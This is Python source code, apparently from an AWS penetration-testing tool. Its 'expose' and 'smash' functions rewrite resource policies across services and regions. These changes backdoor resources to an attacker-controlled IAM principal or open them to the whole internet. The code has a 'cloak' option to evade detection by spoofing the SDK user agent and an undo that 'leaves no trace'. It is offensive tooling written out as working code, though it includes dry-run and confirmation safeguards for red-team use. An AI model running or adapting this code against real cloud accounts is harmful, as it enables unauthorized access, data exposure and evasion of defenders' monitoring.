def expose(name, evil_principal, profile, service, region, dry_run, undo, cloak, verbosity): """ Surgically expose resources by modifying resource policies to include backdoors to a rogue attacker-controlled IAM principal or to the internet. :param name: The name of the AWS resource. :param evil_principal: The ARN of the evil principal to give access to the resource. :param profile: The AWS profile, if using the shared credentials file. :param service: The AWS Service in question. :param region: The AWS region. Defaults to us-east-1 :param dry_run: Dry run, no modifications :param undo: Undo the previous modifications and leave no trace :param cloak: Evade detection by using the default AWS SDK user agent instead of one that indicates usage of this tool. :param verbosity: Set log verbosity. :return: """ set_log_level(verbosity) # User-supplied arguments like `cloudwatch` need to be translated to the IAM name like `logs` provided_service = service service = utils.get_service_translation(provided_service=service) # Get Boto3 clients client = get_boto3_client(profile=profile, service=service, region=region, cloak=cloak) sts_client = get_boto3_client(profile=profile, service="sts", region=region, cloak=cloak) # Get the current account ID current_account_id = get_current_account_id(sts_client=sts_client) if evil_principal.strip('"').strip("'") == "*": principal_type = "internet-wide access" principal_name = "*" else: principal_type = parse_arn_for_resource_type(evil_principal) principal_name = get_resource_path_from_arn(evil_principal) response_message = expose_service(provided_service=provided_service, region=region, name=name, current_account_id=current_account_id, client=client, dry_run=dry_run, evil_principal=evil_principal, undo=undo) if undo and not dry_run: utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) elif undo and dry_run: utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) elif not undo and dry_run: utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) else: utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) if verbosity >= 1: print_diff_messages(response_message=response_message, verbosity=verbosity)
def __init__(self, user_provided_service: str, user_provided_region: str, current_account_id: str, profile: str = None, cloak: bool = False): self.user_provided_service = user_provided_service self.boto_service = utils.get_service_translation( provided_service=user_provided_service) self.user_provided_region = user_provided_region self.current_account_id = current_account_id self.profile = profile self.cloak = cloak self.regions = self._regions() # Save the name of the service for boto3 usage self.resources = self._resources()
def smash(service, evil_principal, profile, region, dry_run, undo, cloak, excluded_names, excluded_services, verbosity): """ Smash your AWS Account to pieces by exposing massive amounts of resources to a rogue principal or to the internet """ set_log_level(verbosity) # Get the current account ID sts_client = get_boto3_client(profile=profile, service="sts", region="us-east-1", cloak=cloak) current_account_id = get_current_account_id(sts_client=sts_client) if evil_principal.strip('"').strip("'") == "*": if not scary_warnings.confirm_anonymous_principal(): utils.print_red("User cancelled, exiting") exit() else: print() principal_type = "internet-wide access" principal_name = "*" else: principal_type = parse_arn_for_resource_type(evil_principal) principal_name = get_resource_path_from_arn(evil_principal) results = [] user_provided_service = service if user_provided_service == "all" and region == "all": utils.print_red( "--service all and --region all detected; listing all resources across all services in the " "account. This might take a while - about 5 minutes.") elif region == "all": logger.debug( "'--region all' selected; listing resources across the entire account, so this might take a while" ) else: pass if user_provided_service == "all": logger.debug( "'--service all' selected; listing resources in ARN format to differentiate between services" ) resource_results = ResourceResults( user_provided_service=user_provided_service, user_provided_region=region, current_account_id=current_account_id, profile=profile, cloak=cloak, excluded_names=excluded_names, excluded_services=excluded_services) results = resource_results.resources if undo and not dry_run: utils.print_green("UNDO BACKDOOR:") elif dry_run and not undo: utils.print_red("CREATE BACKDOOR (DRY RUN):") elif dry_run and undo: utils.print_green("UNDO BACKDOOR (DRY RUN):") else: utils.print_red("CREATE_BACKDOOR:") for resource in results: if resource.name not in excluded_names: # feed the name, region, and translated_service based on what it is for each resource name = resource.name region = resource.region translated_service = utils.get_service_translation( provided_service=resource.service) client = get_boto3_client(profile=profile, service=translated_service, region=region, cloak=cloak) response_message = smash_resource( service=resource.service, region=region, name=name, current_account_id=current_account_id, client=client, undo=undo, dry_run=dry_run, evil_principal=evil_principal) if undo and not dry_run: utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) elif undo and dry_run: utils.print_remove(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) elif not undo and dry_run: utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) else: utils.print_add(response_message.service, response_message.resource_type, response_message.resource_name, principal_type, principal_name, success=response_message.success) else: logger.debug(f"Excluded: {resource.arn}")